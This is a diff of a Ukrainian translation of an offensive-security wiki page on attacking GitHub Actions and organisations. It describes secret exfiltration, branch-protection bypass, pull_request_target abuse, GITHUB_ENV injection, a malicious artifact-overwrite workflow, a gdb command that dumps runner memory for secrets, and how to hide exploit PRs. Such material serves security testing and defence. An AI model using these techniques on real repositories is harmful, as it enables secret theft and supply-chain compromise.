- **Викрадення PR**: Ви можете бути в змозі **змінити PR когось іншого**, додавши шкідливий код, схваливши отриманий PR самостійно і злити все.
|
||||
- **Видалення захисту гілок**: Якщо ви є **адміністратором репозиторію, ви можете вимкнути захист**, злити свій PR і знову встановити захист.
|
||||
- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`).
|
||||
- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуш (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`).
|
||||
- Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, яка спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**.
|
||||
|
||||
## Обхід захисту середовищ
|
||||
@@ -194,7 +194,7 @@ abusing-github-actions/
|
||||
|
||||
У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому сценарії, **знайдіть гілку, в яку ви можете надсилати код**, і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один).
|
||||
|
||||
Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на надсилання над самим собою. **Захист гілки дозволяє надсилання до нової гілки, тому github action буде спрацьовувати**.
|
||||
Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш для неї самої. **Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
@@ -210,7 +210,7 @@ branches:
|
||||
- Надати **більше прав всій організації**
|
||||
- Створити **вебхуки** для ексфільтрації інформації
|
||||
- Запросити **зовнішніх співпрацівників**
|
||||
- **Видалити** **вебхуки**, які використовуються **SIEM**
|
||||
- **Видалити** **вебхуки**, що використовуються **SIEM**
|
||||
- Створити/змінити **Github Action** з **бекдором**
|
||||
- Знайти **вразливий Github Action для ін'єкції команд** через модифікацію **значення секрету**
|
||||
|
||||
@@ -218,7 +218,7 @@ branches:
|
||||
|
||||
У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для форкованої версії коду. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**.
|
||||
|
||||
Як [**цей**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
Як [**це**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
|
||||
@@ -9,10 +9,10 @@
|
||||
- **резюме всіх впливів** атаки, якщо зловмисник зможе отримати доступ до Github Action
|
||||
- Різні способи **отримати доступ до дії**:
|
||||
- Маючи **дозволи** на створення дії
|
||||
- Зловживання **тригерами, пов'язаними з pull request**
|
||||
- Зловживання тригерами, пов'язаними з **pull request**
|
||||
- Зловживання **іншими зовнішніми техніками доступу**
|
||||
- **Півотування** з уже скомпрометованого репозиторію
|
||||
- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (щоб викликати згадані впливи)
|
||||
- **Півотинг** з уже скомпрометованого репозиторію
|
||||
- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (оскільки згадані впливи)
|
||||
|
||||
## Резюме впливів
|
||||
|
||||
@@ -20,10 +20,10 @@
|
||||
|
||||
Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви можете:
|
||||
|
||||
- **Викрасти секрети**, змонтовані до конвеєра, та **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
|
||||
- **Викрасти секрети**, змонтовані в конвеєрі, та **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
|
||||
- **Скомпрометувати розгортання** та інші **артефакти**.
|
||||
- Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання.
|
||||
- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотування до інших систем.
|
||||
- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотингу до інших систем.
|
||||
- **Перезаписати код репозиторію**, залежно від дозволів, пов'язаних з `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
@@ -32,10 +32,10 @@
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Цей токен є тим самим, який буде використовувати **Github Application**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Цей токен є тим самим, що і **Github Application буде використовувати**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github повинен випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`.
|
||||
> Github має випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`.
|
||||
|
||||
Ви можете побачити можливі **дозволи** цього токена за адресою: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
@@ -134,7 +134,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Можливо перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій:
|
||||
Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -143,7 +143,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
> [!NOTE]
|
||||
> Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до **створення нового репозиторію в організації** або є **права на запис у репозиторії**.
|
||||
>
|
||||
> Якщо ви в цій ситуації, ви можете просто перевірити [техніки постексплуатації](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Якщо ви в цьому сценарії, ви можете просто перевірити [техніки постексплуатації](./#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Виконання з створення репозиторію
|
||||
|
||||
@@ -167,14 +167,14 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Витягнуте виконання
|
||||
|
||||
> [!NOTE]
|
||||
> Існують різні тригери, які можуть дозволити зловмиснику **виконати Github Action з іншого репозиторію**. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це **перше** співробітництво, деякий **керівник** повинен **схвалити** **виконання** робочого процесу:
|
||||
Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це **перший раз**, коли ви **співпрацюєте**, деякий **керівник** повинен **схвалити** **виконання** робочого процесу:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -185,12 +185,12 @@ branches:
|
||||
|
||||
Більше того, за замовчуванням **запобігає запису прав** і **доступу до секретів** цільового репозиторію, як зазначено в [**документації**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю** під час тригера робочого процесу з **форкнутого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з форкнутого репозиторію**.
|
||||
> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю**, коли робочий процес запускається з **вилученого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з вилучених репозиторіїв**.
|
||||
|
||||
Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!**
|
||||
> **Так, якщо зловмисник змінить у PR github action, який буде запущено, його Github Action буде використано, а не той, що з оригінального репозиторію!**
|
||||
|
||||
Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у `GITHUB_TOKEN`, зловмисник може, наприклад, **завантажити шкідливі артефакти**.
|
||||
|
||||
@@ -198,7 +198,7 @@ branches:
|
||||
|
||||
Тригер робочого процесу **`pull_request_target`** має **права на запис** до цільового репозиторію та **доступ до секретів** (і не запитує дозволу).
|
||||
|
||||
Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в контексті, наданому PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в тому, що надається PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей [**пост у блозі github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Це може виглядати так, ніби **виконуваний робочий процес** є тим, що визначено в **базі**, а **не в PR**, тому це **безпечно** використовувати **`pull_request_target`**, але є **кілька випадків, коли це не так**.
|
||||
@@ -209,7 +209,7 @@ branches:
|
||||
|
||||
Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запустити робочий процес з іншого, коли він `завершено`, `запитано` або `в процесі`.
|
||||
|
||||
У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести":
|
||||
У цьому прикладі робочий процес налаштовано на виконання після завершення окремого "Запустити тести" робочого процесу:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -217,10 +217,10 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
Більше того, відповідно до документації: Робочий процес, розпочатий подією `workflow_run`, може **доступатися до секретів і записувати токени, навіть якщо попередній робочий процес не**.
|
||||
|
||||
Цей тип робочого процесу може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\
|
||||
Другий полягає в **передачі** артефакту з **недовіреного** коду до **`workflow_run`** робочого процесу та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**.
|
||||
Такий робочий процес може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\
|
||||
Другий полягає в **передачі** артефакту з **недовіреного** коду до робочого процесу **`workflow_run`** та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
@@ -230,18 +230,18 @@ TODO: Перевірити, чи при виконанні з `pull_request` в
|
||||
|
||||
## Зловживання виконанням з форку
|
||||
|
||||
Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте подивимося, як ці виконання, якщо погано налаштовані, можуть бути зловживані:
|
||||
Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані:
|
||||
|
||||
### Виконання недовіреного чекауту
|
||||
|
||||
У випадку **`pull_request`,** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](./#pull_request).
|
||||
У випадку **`pull_request`** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](./#pull_request).
|
||||
|
||||
У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконано, тому **атакуючий не може контролювати виконуваний код**.
|
||||
У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконуватися, тому **атакуючий не може контролювати виконуваний код**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):
|
||||
> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона використовуватиме код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># НЕБЕЗПЕЧНО. Наведено лише як приклад.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -266,15 +266,15 @@ arg1: ${{ secrets.supersecret }}
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
Дякую!
|
||||
</code></pre>
|
||||
|
||||
Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та посилання на **пакети контролюються автором PR**.
|
||||
Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та згадані **пакети контролюються автором PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування завдань для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR).
|
||||
> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування робочих процесів для безпечного виконання, навіть якщо дія налаштована небезпечно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR).
|
||||
|
||||
### Впровадження скриптів у контекст <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Впровадження скриптів у контексті <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Зверніть увагу, що є певні [**контексти github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** **користувачем**, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **випадкового виконання коду:**
|
||||
|
||||
@@ -284,21 +284,21 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **Впровадження скриптів GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
З документів: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**.
|
||||
З документації: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**.
|
||||
|
||||
Якщо атакуючий зможе **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, такі як **LD_PRELOAD** або **NODE_OPTIONS**.
|
||||
Якщо атакуючий може **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконувати код у наступних кроках, таких як **LD_PRELOAD** або **NODE_OPTIONS**.
|
||||
|
||||
Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) та [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
|
||||
Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) і [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Вразливі сторонні дії Github
|
||||
### Вразливі дії третьої сторони Github
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Як згадано в [**цьому блозі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ця дія Github дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.
|
||||
|
||||
Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.
|
||||
Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог, і він може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.
|
||||
|
||||
Приклад вразливого робочого процесу:
|
||||
```yaml
|
||||
@@ -323,7 +323,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Це можна атакувати за допомогою цього робочого процесу:
|
||||
Це може бути атаковано за допомогою цього робочого процесу:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -344,19 +344,19 @@ path: ./script.py
|
||||
|
||||
### Викрадення видаленого репозиторію простору імен
|
||||
|
||||
Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як той, що був видалений.
|
||||
Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як і той, що був видалений.
|
||||
|
||||
> [!CAUTION]
|
||||
> Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.
|
||||
|
||||
Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Тут ви маєте більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Ось більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Пивотинг репозиторіїв
|
||||
## Поворот репозиторію
|
||||
|
||||
> [!NOTE]
|
||||
> У цьому розділі ми поговоримо про техніки, які дозволять **пивотити з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).
|
||||
> У цьому розділі ми поговоримо про техніки, які дозволять **поворот з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).
|
||||
|
||||
### Отруєння кешу
|
||||
|
||||
@@ -421,8 +421,6 @@ secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Отримати зворотний шелл з секретами</summary>
|
||||
@@ -464,13 +462,13 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Зловживання самостійно розгорнутими виконавцями
|
||||
### Зловживання самостійно хостованими виконавцями
|
||||
|
||||
Спосіб знайти, які **Github Actions виконуються в не-Github інфраструктурі**, - це шукати **`runs-on: self-hosted`** в конфігураційному yaml файлі Github Action.
|
||||
|
||||
**Самостійно розгорнуті** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **більше ніж одна дія може виконуватися одночасно** і зловмисна може **вкрасти секрети** іншої.
|
||||
**Самостійно хостовані** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **більше ніж одна дія може виконуватися одночасно** і зловмисна може **вкрасти секрети** іншої.
|
||||
|
||||
У самостійно розгорнуті виконавці також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:
|
||||
У самостійно хостованих виконавцях також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
@@ -530,11 +528,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### Чутлива інформація в журналах Github Actions
|
||||
|
||||
Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштувати спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштовано спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Приховування своїх слідів
|
||||
|
||||
(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що створюється, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їхні **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)
|
||||
(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їхні **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)
|
||||
|
||||
Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
# Gh Actions - Впровадження скриптів контексту
|
||||
# Gh Actions - Впровадження скриптів у контексті
|
||||
|
||||
@@ -30,7 +30,7 @@
|
||||
3. Ви робите свій “upstream” репозиторій публічним і зберігаєте свій форк приватним.
|
||||
|
||||
> [!CAUTION]
|
||||
> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка та публікацією публічної версії.
|
||||
> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка і публікацією публічної версії.
|
||||
|
||||
## Як виявити коміти з видалених/прихованих форків
|
||||
|
||||
@@ -38,7 +38,7 @@
|
||||
|
||||
### Прямий доступ до коміту
|
||||
|
||||
Якщо відоме значення ID коміту (sha-1), його можна отримати за адресою `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
Якщо відомий ідентифікатор коміту (sha-1), його можна отримати за адресою `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Брутфорсинг коротких SHA-1 значень
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@
|
||||
|
||||
За замовчуванням створюються ролі репозиторіїв:
|
||||
|
||||
- **Читання**: Рекомендується для **некодових учасників**, які хочуть переглядати або обговорювати ваш проект.
|
||||
- **Читання**: Рекомендується для **не-кодових учасників**, які хочуть переглядати або обговорювати ваш проект.
|
||||
- **Тріаж**: Рекомендується для **учасників, які повинні проактивно управляти проблемами та запитами на злиття** без доступу на запис.
|
||||
- **Запис**: Рекомендується для учасників, які **активно вносять зміни до вашого проекту**.
|
||||
- **Управління**: Рекомендується для **менеджерів проектів, які повинні управляти репозиторієм** без доступу до чутливих або руйнівних дій.
|
||||
@@ -59,15 +59,15 @@
|
||||
|
||||
Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Ви також можете **створити свої власні ролі** у _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Ви також можете **створити свої власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Команди
|
||||
|
||||
Ви можете **переглянути команди, створені в організації** у _https://github.com/orgs/\<org_name>/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди.
|
||||
Ви можете **переглянути команди, створені в організації** в _https://github.com/orgs/\<org_name>/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди.
|
||||
|
||||
### Користувачі
|
||||
|
||||
Користувачі організації можуть бути **перераховані** у _https://github.com/orgs/\<org_name>/people._
|
||||
Користувачі організації можуть бути **перераховані** в _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
У інформації про кожного користувача ви можете побачити **команди, членом яких є користувач**, і **репозиторії, до яких має доступ користувач**.
|
||||
|
||||
@@ -87,44 +87,44 @@ Github пропонує різні способи аутентифікації
|
||||
|
||||
Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправлення комітів без підпису**. Дізнайтеся більше про [пильний режим тут](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Токени особистого доступу**
|
||||
